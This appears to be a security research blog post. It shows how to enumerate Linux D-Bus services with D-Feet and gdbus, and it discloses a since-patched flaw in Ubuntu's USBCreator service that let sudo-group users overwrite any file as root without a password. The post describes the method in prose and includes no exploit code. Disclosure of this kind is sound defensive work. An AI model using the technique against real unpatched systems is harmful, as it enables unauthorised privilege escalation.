Each service is defined by the objects and interfaces that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its object path – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the org.freedesktop.DBus.Introspectable interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals.

I used two tools to communicate with the D-Bus interface: CLI tool named gdbus, which allows to easily call D-Bus exposed methods in scripts, and D-Feet, a Python based GUI tool that helps to enumerate the available services on each bus and to see which objects each service contains.

Figure 1. D-Feet main window

Figure 2. D-Feet interface window

D-Feet is an excellent tool that proved essential during my research. On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the org.debin.apt service, and D-Feet automatically queried the service for all the available objects. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each IPC exposed method.

We can also see the pid of the process that hosts each service, as well as its command line. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research.

D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service.

Figure 3. Calling D-Bus Methods through D-Feet

Some methods require authentication before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.

Figure 4. A method that requires authorization

Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. We will come back to this later in this blog post.

The Vulnerability

While researching the various D-Bus services, I looked for privileged services that act on behalf of an unprivileged user, requiring no authentication, and of course having user-controlled input that affects these operations. Without proper sanitation and validation on user input, a simple operation such as invoking a program or doing some file system I/O might lead to a compromised system.

The specific service that was vulnerable is com.ubuntu.USBCreator. Under the object denoted by /com/ubuntu/USBCreator resides the Image method. This method is used internally by Ubuntu’s USB Creator tool.

Figure 5. The com.ubuntu.USBCreator service

Figure 6. The Image method of /com/ubuntu/USBCreator

Inspecting this service, we can see it is privileged:

Figure 7. Shows service is privileged

As this service is implemented in Python, we can simply inspect the relevant source code. First we notice that the required privilege to interact with this method is com.ubuntu.usbcreator.image. We can see from the source code that polkit will be queried whether the requesting user is authorized for this request (in line 172).

Figure 8. USBCreator source code

Checking polkit’s configuration files, shown in Figure 9, we see that the Unix group sudo is entitled this capability. The relevant files reside under /var/lib/polkit-1/localauthority – specifically the file we are inspecting is /var/lib/polkit-1/localauthority/10-vendor.d/com.ubuntu.desktop.pkla.

Figure 9. The section that starts at line 26 specified which groups are allowed to access the com.ubuntu.usbcreator.image capability

Inspecting the source code for the service, we see that it contains a Python implementation of the Unix tool dd. This tool can be used, among other things, to copy files between locations. The input to the method _builtin_dd is taken directly from user input. Furthermore, no path sanitation checks are performed on the source or target path, and no password prompts are being used – this allows a user to overwrite arbitrary files on the filesystem, as root, with no password prompting, as seen in Figure 10.

Figure 10. Creating files as root without supplying a password

Conclusion

We are not aware of any active exploitation of this vulnerability. Ubuntu now requires password authentication to launch USBCreator, following the release of a patch for the bug on June 18. Palo Alto Networks endpoint protection and response offering, Traps, can prevent exploitation of this vulnerability through its Behavioral Threat Protection mechanism.

 

 

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow